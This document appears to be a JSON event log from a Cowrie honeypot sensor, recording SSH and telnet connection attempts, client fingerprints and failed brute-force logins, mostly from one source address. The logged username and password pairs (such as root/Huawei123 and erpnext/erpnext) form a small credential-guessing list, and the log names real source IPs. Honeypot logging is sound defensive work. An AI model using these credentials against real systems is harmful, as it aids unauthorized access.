{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:26.920228Z","src_ip":"192.109.200.78","session":"93d8c483ebb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60334,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbef743a215c","protocol":"ssh","message":"New connection: 192.109.200.78:60334 (10.17.0.5:22) [session: fbef743a215c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:29.815921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:29.820624Z","src_ip":"192.109.200.78","session":"fbef743a215c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:29.907714Z","src_ip":"192.109.200.78","session":"fbef743a215c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:30.164871Z","src_ip":"192.109.200.78","session":"fbef743a215c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:31.250734Z","src_ip":"192.109.200.78","session":"fbef743a215c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54334,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bfb1a0ad18f","protocol":"ssh","message":"New connection: 159.203.92.129:54334 (159.203.135.109:22) [session: 9bfb1a0ad18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:31.827989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:31.833148Z","src_ip":"159.203.92.129","session":"9bfb1a0ad18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:31.850689Z","src_ip":"159.203.92.129","session":"9bfb1a0ad18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"QWE123","message":"login attempt [admin/QWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:31.914760Z","src_ip":"159.203.92.129","session":"9bfb1a0ad18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:32.922208Z","src_ip":"159.203.92.129","session":"9bfb1a0ad18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60348,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ee1e4e760a","protocol":"ssh","message":"New connection: 192.109.200.78:60348 (10.17.0.5:22) [session: 94ee1e4e760a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:33.776317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:33.825854Z","src_ip":"192.109.200.78","session":"94ee1e4e760a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:34.039621Z","src_ip":"192.109.200.78","session":"94ee1e4e760a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:34.437385Z","src_ip":"192.109.200.78","session":"94ee1e4e760a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:35.525310Z","src_ip":"192.109.200.78","session":"94ee1e4e760a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58896,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e5614f9629","protocol":"ssh","message":"New connection: 192.109.200.78:58896 (10.17.0.5:22) [session: d2e5614f9629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:38.045034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:38.049308Z","src_ip":"192.109.200.78","session":"d2e5614f9629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:38.132748Z","src_ip":"192.109.200.78","session":"d2e5614f9629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:38.388735Z","src_ip":"192.109.200.78","session":"d2e5614f9629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:39.474221Z","src_ip":"192.109.200.78","session":"d2e5614f9629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.85245084762573,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:40.480417Z","src_ip":"5.42.229.203","session":"a851d3ed9927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44506573677063,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:42.000134Z","src_ip":"5.42.229.203","session":"bb5d5b4019e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58912,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dc010c829a2","protocol":"ssh","message":"New connection: 192.109.200.78:58912 (10.17.0.5:22) [session: 7dc010c829a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:42.339078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:42.343429Z","src_ip":"192.109.200.78","session":"7dc010c829a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:42.430941Z","src_ip":"192.109.200.78","session":"7dc010c829a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:42.681962Z","src_ip":"192.109.200.78","session":"7dc010c829a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:43.767804Z","src_ip":"192.109.200.78","session":"7dc010c829a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f0162d26f5","protocol":"ssh","message":"New connection: 192.109.200.78:58918 (10.17.0.5:22) [session: 78f0162d26f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:46.446802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:46.468254Z","src_ip":"192.109.200.78","session":"78f0162d26f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:46.910475Z","src_ip":"192.109.200.78","session":"78f0162d26f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:47.157198Z","src_ip":"192.109.200.78","session":"78f0162d26f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:48.241524Z","src_ip":"192.109.200.78","session":"78f0162d26f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41274,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ffa2626562","protocol":"ssh","message":"New connection: 192.109.200.78:41274 (10.17.0.5:22) [session: f0ffa2626562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:50.847650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:50.851853Z","src_ip":"192.109.200.78","session":"f0ffa2626562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:50.934300Z","src_ip":"192.109.200.78","session":"f0ffa2626562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:51.190351Z","src_ip":"192.109.200.78","session":"f0ffa2626562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:52.307287Z","src_ip":"192.109.200.78","session":"f0ffa2626562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41276,"dst_ip":"10.17.0.5","dst_port":22,"session":"386b57018826","protocol":"ssh","message":"New connection: 192.109.200.78:41276 (10.17.0.5:22) [session: 386b57018826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:55.145533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:55.150151Z","src_ip":"192.109.200.78","session":"386b57018826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:55.235179Z","src_ip":"192.109.200.78","session":"386b57018826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:55.485384Z","src_ip":"192.109.200.78","session":"386b57018826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:56.569577Z","src_ip":"192.109.200.78","session":"386b57018826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54996,"dst_ip":"10.17.0.5","dst_port":22,"session":"efffc45efb26","protocol":"ssh","message":"New connection: 192.109.200.78:54996 (10.17.0.5:22) [session: efffc45efb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:59.308139Z"}
